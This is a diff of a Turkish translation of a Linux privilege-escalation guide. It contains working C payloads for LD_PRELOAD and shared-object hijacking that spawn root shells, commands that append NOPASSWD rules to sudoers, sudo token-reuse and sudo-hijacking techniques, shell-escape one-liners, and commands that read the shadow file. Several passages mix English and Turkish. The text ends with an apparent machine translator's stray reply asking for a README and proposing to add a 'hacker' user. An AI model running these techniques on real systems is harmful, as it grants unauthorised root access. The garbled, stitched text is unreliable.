dahildir. Bu işlem kütüphane ön-yükleme (preloading) olarak bilinir. -Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** çalıştırılabilirlerle suistimal edilmesini önlemek için sistem bazı koşullar uygular: +Ancak, sistem güvenliğini korumak ve özellikle **suid/sgid** çalıştırılabilir dosyalarla bu özelliğin kötüye kullanılmasını engellemek için sistem bazı koşullar uygular: - Yükleyici, gerçek kullanıcı kimliği (_ruid_) ile etkili kullanıcı kimliği (_euid_) eşleşmeyen çalıştırılabilir dosyalar için **LD_PRELOAD**'u göz ardı eder. -- **suid/sgid** olan çalıştırılabilir dosyalar için, sadece standart yollar içinde bulunan ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir. +- suid/sgid olan çalıştırılabilir dosyalar için, yalnızca standart yollarda bulunan ve aynı zamanda suid/sgid olan kütüphaneler ön-yüklenir. -Privilege escalation, `sudo` ile komut çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin `sudo` ile komutlar çalıştırıldığında bile kalıcı olmasına ve tanınmasına izin verir; bu da yükseltilmiş ayrıcalıklarla rastgele kod yürütülmesine yol açabilir. +Privilege escalation, eğer `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, komutlar `sudo` ile çalıştırıldığında bile **LD_PRELOAD** ortam değişkeninin korunmasına ve tanınmasına izin verir; bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun yürütülmesine yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` -Şu dosyaya kaydedin: **/tmp/pe.c** +Şu isimle kaydedin: **/tmp/pe.c** ```c #include #include @@ -810,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -Ardından **compile it** kullanarak: +Sonra bunu **derleyin** kullanarak: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Son olarak, **escalate privileges** çalıştırın. +Son olarak, **escalate privileges** çalıştırarak ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable'ını kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable kontrolüne sahipse kötüye kullanılabilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -842,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Anormal görünen **SUID** izinlerine sahip bir ikiliyle karşılaşıldığında, **.so** dosyalarını doğru şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +Garip görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak potansiyel bir exploit imkânını gösterir. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşılması, potansiyel bir istismara işaret eder. -Bunu exploit etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturarak aşağıdaki kodu içerecek şekilde devam edilir: +Bunu istismar etmek için, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturarak aşağıdaki kodu içerecek şekilde ilerlenir: ```c #include #include @@ -859,13 +861,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlenip çalıştırıldıktan sonra, file permissions'ı manipüle ederek ve elevated privileges ile bir shell çalıştırarak elevate privileges elde etmeyi amaçlar. +Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle edip yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. -Yukarıdaki C file'ı shared object (.so) file olarak derleyin: +Yukarıdaki C dosyasını shared object (.so) dosyası olarak şu komutla derleyin: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetikleyerek potansiyel sistem ele geçirilmesine yol açabilir. +Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine izin vermelidir. ## Shared Object Hijacking ```bash @@ -877,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Yazabileceğimiz bir folder'dan library yükleyen SUID binary'yi bulduğumuza göre, o folder'a gerekli isimle library oluşturalım: +Yazabileceğimiz bir klasörden library yükleyen bir SUID binary bulduğumuza göre, gerekli isimle library'i o klasöre oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -898,15 +900,16 @@ bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyon içerm ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) Unix ikili dosyalarının (binaries) saldırganlar tarafından yerel güvenlik kısıtlamalarını aşmak için sömürülebilecek özenle derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) aynı şeyi, ancak bir komuta **sadece argüman enjekte edebildiğiniz** durumlar için yapar. +[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından sömürülebilecek Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise bir komutta **yalnızca argüman enjekte edebildiğiniz** durumlar için aynıdır. -Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya transferi yapmak, bind ve reverse shell'ler oluşturmak ve diğer post-exploitation tasks'i kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. +The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -918,60 +921,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl sömürebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. -### Sudo Token'lerini Yeniden Kullanma +### Sudo Token'larını Yeniden Kullanma -Parolayı bilmediğiniz ancak **sudo access**'iniz olan durumlarda, bir sudo komutunun çalışmasını bekleyip oturum token'ını kaçırarak ayrıcalıkları yükseltebilirsiniz. +Şifreye sahip olmadığınız ama **sudo erişiminiz** olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip ardından oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. Ayrıcalıkları yükseltmek için gereksinimler: -- Zaten bir shell'e `_sampleuser_` kullanıcısı olarak sahipsiniz -- `_sampleuser_` son 15 dakikada bir şeyi çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, parola girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir) +- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahip olmalısınız +- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo tokenının süresidir) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı - `gdb` erişilebilir olmalı (yükleyebilmelisiniz) -(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını düzenleyip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) +(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf`'u değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Tüm bu gereksinimler karşılanıyorsa, **ayrıcalıkları şu aracı kullanarak yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- İlk **exploit** (`exploit.sh`) _/tmp_ içinde `activate_sudo_token` ikili dosyasını oluşturacak. Bunu oturumunuzdaki sudo tokenını **aktifleştirmek** için kullanabilirsiniz (otomatik olarak bir root shell alamazsınız, `sudo su` yapın): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- İkinci **exploit** (`exploit_v2.sh`), _/tmp_ içinde **root tarafından sahip olunan ve setuid olan** bir sh shell oluşturacaktır +- **İkinci exploit** (`exploit_v2.sh`) _/tmp_ içinde **root'a ait ve setuid ile** bir sh shell oluşturacak ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **üçüncü exploit** (`exploit_v3.sh`) **sudoers file oluşturacak**; bu dosya **sudo tokens'i kalıcı hale getirecek ve tüm kullanıcıların sudo kullanmasına izin verecek** +- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers dosyası oluşturacak** ve bu dosya **sudo tokenlerini süresiz hale getirir ve tüm kullanıcıların sudo kullanmasına izin verir** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içinde oluşturulan herhangi bir dosyada **write permissions**'a sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ile bir kullanıcı ve PID için **sudo token oluşturabilirsiniz**.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını overwrite edebiliyorsanız ve PID 1234 ile o kullanıcı olarak bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan şu şekilde **sudo privileges** elde edebilirsiniz: +Eğer klasörde veya klasör içindeki oluşturulmuş herhangi bir dosyada **yazma izinlerine** sahipseniz [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikilisini kullanarak **bir kullanıcı ve PID için sudo token oluşturabilirsiniz**.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID'si 1234 olan o kullanıcı olarak bir shell'e sahipseniz, şifreyi bilmenize gerek olmadan **sudo ayrıcalıklarını elde edebilirsiniz** şu işlemi yaparak: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimlerin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak sadece kullanıcı root ve grup root tarafından okunabilir**.\ -**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabileceksiniz. +`/etc/sudoers` dosyası ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ +**Eğer** bu dosyayı **okuyabiliyorsanız** **bazı ilginç bilgiler edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** ayrıcalıkları **yükseltebilirsiniz**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Yazabiliyorsanız bu izni kötüye kullanabilirsiniz. +Eğer yazabiliyorsanız, bu izni kötüye kullanabilirsiniz. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Bu izinleri kötüye kullanmanın başka bir yolu: +Bu izinleri kötüye kullanmanın bir başka yolu: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -980,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` binary'si için bazı alternatifler mevcuttur; örneğin OpenBSD için `doas`. Yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. +OpenBSD için `doas` gibi `sudo` ikili dosyasına bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcı genellikle bir makineye bağlanıp yetki yükseltmek için `sudo` kullanıyorsa** ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak önce kendi kodunuzu sonra kullanıcının komutunu çalıştıracak **yeni bir sudo yürütülebilir dosyası oluşturabilirsiniz**. Sonra, kullanıcı bağlamının **$PATH**'ini değiştirin (örneğin yeni yolu .bash_profile içine ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında sizin sudo yürütülebilir dosyanız çalışır. +Eğer bir **kullanıcının genellikle bir makineye bağlanıp yetki yükseltmek için `sudo` kullandığını** ve o kullanıcı bağlamında bir shell elde ettiğinizi biliyorsanız, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu çalıştıracak bir **yeni sudo yürütülebilir dosyası** oluşturabilirsiniz. Sonra kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı sudo komutunu çalıştırdığında sizin sudo yürütülebilir dosyanız çalıştırılır. -Kullanıcının farklı bir shell (bash değil) kullanması durumunda yeni yolu eklemek için başka dosyaları değiştirmeniz gerekeceğini unutmayın. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Kullanıcının farklı bir shell (bash değil) kullanması durumunda yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. -Veya şu gibi bir şey çalıştırmak: +Veya şöyle bir şeyi çalıştırmak: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyalarsanız, `RPATH` değişkeninde belirtildiği gibi program bu konumda onu kullanacaktır. +lib'i `/var/tmp/flag15/` dizinine kopyaladığınızda, `RPATH` değişkeninde belirtildiği üzere program bu konumdaki lib'i kullanacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1041,7 +1044,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` içinde şu komutla kötü amaçlı bir kütüphane oluşturun: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Ardından `/var/tmp` içine kötü amaçlı bir kütüphane oluşturun: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1056,8 +1059,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux yetkileri bir sürece mevcut root ayrıcalıklarının **bir alt kümesini sağlar**. Bu, root ayrıcalıklarını **daha küçük ve ayırt edici birimlere** ayırır. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde ayrıcalıkların tam kümesi azaltılır ve sömürülme riskleri düşer.\ -Aşağıdaki sayfayı okuyarak **yetkiler ve bunların nasıl kötüye kullanılacağı** hakkında daha fazla bilgi edinin: +Linux capabilities, bir sürece mevcut root ayrıcalıklarının bir **alt kümesini sağlar**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde ayrıcalıkların tam kümesi azaltılır ve exploitation riskleri düşer.\ +Aşağıdaki sayfayı okuyarak **capabilities hakkında ve bunların nasıl abuse edileceği hakkında daha fazla bilgi edinin**: {{#ref}} @@ -1066,39 +1069,39 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **"execute" biti** etkilenen kullanıcının klasöre "**cd**" yapabilmesi anlamına gelir.\ -**"read"** biti kullanıcının **dosyaları** listeleyebileceğini, ve **"write"** biti kullanıcının yeni **dosyalar** oluşturup silebileceğini ifade eder. +Bir dizinde, **bit for "execute"** etkilenen kullanıcının "**cd**" ile klasöre girebileceği anlamına gelir.\ +**"read"** biti kullanıcının **files**'ları **list** edebileceğini, ve **"write"** biti kullanıcının **files**'ları **delete** ve **create** edebileceğini ifade eder. ## ACLs -Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve **geleneksel ugo/rwx izinlerinin üzerine yazabilme** yeteneğine sahiptir. Bu izinler, sahip olmayan veya grubun parçası olmayan belirli kullanıcılara haklar vererek veya reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu düzeydeki **ince ayrıntı daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresinde bulunabilir. +Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve **overriding the traditional ugo/rwx permissions** yeteneğine sahiptir. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **granularity daha kesin erişim yönetimi sağlar**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Verin** kullanıcı "kali"ya bir dosya üzerinde okuma ve yazma izinleri: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Sistemden belirli ACL'lere sahip dosyaları al:** +**Elde et** sistemden belirli ACL'lere sahip dosyaları: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Açık shell oturumları **eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ -**en yeni sürümlerde** sadece **kendi kullanıcınızın** screen sessions'ına **connect** edebileceksiniz. Ancak **oturum içinde ilginç bilgiler** bulabilirsiniz. +**en yeni sürümlerde** yalnızca **kendi kullanıcı hesabınızın** **screen sessions**'larına **connect** olabilirsiniz. Ancak, **oturumun içinde ilginç bilgiler** bulabilirsiniz. ### screen sessions hijacking -**screen oturumlarını listele** +**screen sessions listele** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Session'e bağlan** +**Oturuma bağlan** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1106,7 +1109,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Bu, **eski tmux sürümleri**yle ilgili bir sorundu. Root tarafından oluşturulmuş bir tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim. +Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Ayrıcalıklı olmayan bir kullanıcı olarak, root tarafından oluşturulmuş bir tmux (v2.1) oturumunu ele geçiremedim. **tmux oturumlarını listele** ```bash @@ -1126,53 +1129,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Örnek için **Valentine box from HTB**'i inceleyin. +Check **Valentine box from HTB** için bir örneğe bakın. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) Eylül 2006 ile 13 Mayıs 2008 arasında oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ -Bu hata, söz konusu OS'lerde yeni bir ssh key oluşturulurken meydana gelir; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Önemli yapılandırma değerleri +### SSH Interesting configuration values -- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `no`. -- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`. -- **PermitEmptyPasswords**: Parola doğrulamaya izin verildiğinde, sunucunun boş parola içeren hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. +- **PasswordAuthentication:** Parola doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `no`. +- **PubkeyAuthentication:** Public key doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `yes`. +- **PermitEmptyPasswords**: Parola doğrulaması izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. ### PermitRootLogin -Root'un ssh ile oturum açıp açamayacağını belirtir; varsayılan `no`. Olası değerler: +root'un ssh ile oturum açıp açamayacağını belirtir, varsayılan `no`. Olası değerler: - `yes`: root parola ve private key ile giriş yapabilir -- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir -- `forced-commands-only`: Root sadece private key ile ve komut seçenekleri belirtilmişse giriş yapabilir -- `no`: izin yok +- `without-password` veya `prohibit-password`: root sadece private key ile giriş yapabilir +- `forced-commands-only`: root sadece private key ile ve komut seçenekleri belirtilmişse giriş yapabilir +- `no` : hayır ### AuthorizedKeysFile -Kullanıcı kimlik doğrulaması için kullanılabilecek public keys'i içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bu tokenlar home dizini ile değiştirilir. **Mutlak yollar belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home'undan göreli yollar**. Örneğin: +Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bunlar home dizini ile değiştirilir. **Mutlak yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Bu yapılandırma, kullanıcı "**testusername**"ın **özel** anahtarıyla giriş yapmaya çalışırsanız ssh'nin anahtarınızın açık anahtarını `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindeki anahtarlarla karşılaştıracağını gösterir. +Bu yapılandırma, eğer kullanıcı "**testusername**"ın **private** anahtarıyla giriş yapmayı denerseniz, ssh anahtarınızın public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding, sunucunuzda anahtarları (parola koruması olmadan!) bırakmak yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir host'a atlayabilir** ve oradan **ilk hostunuzda bulunan anahtarı kullanarak** **başka bir host'a** atlayabilirsiniz. +SSH agent forwarding, sunucunuzda anahtarları (without passphrases!) bırakmak yerine **use your local SSH keys instead of leaving keys** kullanmanıza olanak tanır. Böylece ssh ile **jump** **to a host** yapabilir ve oradan **jump to another** **host**a, **initial host**'unuzda bulunan **key**i **using** ederek ulaşabilirsiniz. -You need to set this option in `$HOME/.ssh.config` like this: +Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir: ``` Host example.com ForwardAgent yes ``` -Dikkat: eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecek (bu bir güvenlik sorunudur). +Dikkat edin ki eğer `Host` `*` ise, kullanıcı her farklı makineye geçtiğinde o makine anahtarlara erişebilecektir (bu bir güvenlik sorunudur). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +Dosya `/etc/ssh_config` bu seçenekleri **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ +Dosya `/etc/sshd_config`, `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **engelleyebilir** (varsayılan izin ver). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu kötüye kullanarak yetki yükseltmesi yapabilirsiniz**: {{#ref}} @@ -1183,41 +1186,34 @@ ssh-forward-agent-exploitation.md ### Profil dosyaları -The file `/etc/profile` and the files under `/etc/profile.d/` are **bir kullanıcı yeni bir shell çalıştırdığında yürütülen betiklerdir**. Therefore, if you can **bunlardan herhangi birine yazma veya değiştirme hakkınız varsa, ayrıcalıkları yükseltebilirsiniz**. +Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında **çalıştırılan betiklerdir**. Bu nedenle, eğer bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız yetki yükseltmesi yapabilirsiniz**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Eğer herhangi bir garip profil betiği bulunursa, **hassas detaylar** için kontrol etmelisiniz. +Herhangi tuhaf bir profile script bulunursa bunu **hassas detaylar** için kontrol etmelisiniz. ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir adla bulunabilir veya bir yedeği olabilir. Bu yüzden **hepsini bulmanız** ve dosyaları **okuyup okuyamadığınızı kontrol etmeniz**, dosyaların içinde **hash olup olmadığını** görmek için: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isimle olabilir veya bir yedeği bulunabilir. Bu yüzden **tümünü bulun** ve içlerinde **hashes** olup olmadığını görmek için **okuyup okuyamadığınızı kontrol edin**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyası içinde **password hashes** bulabilirsiniz. +Bazı durumlarda `/etc/passwd` (veya eşdeğeri) dosyasında **password hashes** bulabilirsiniz. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -Önce, aşağıdaki komutlardan biriyle bir password oluşturun. +Öncelikle, aşağıdaki komutlardan biriyle bir parola oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -README.md içeriğini gönderir misiniz? Çeviriyi yapıp sonuna `hacker` kullanıcısını ekleyecek ve rastgele bir parola üretecek şekilde güncelleme yapabilmem için dosyanın orijinal metnine ihtiyacım var. - -Ayrıca, parola oluşturulmasını onaylıyor musunuz? Onaylarsanız güçlü bir parola üreteceğim ve ekleyeceğim komut örnekleri şöyle olacaktır (onay aldıktan sonra gerçek içerikle birlikte ekleyeceğim): - -- Kullanıcı ekleme: useradd -m -s /bin/bash hacker -- Parola atama (örnek parola burada yerine üretileni koyacağım): echo "hacker:ÜRETİLEN_PAROLA" 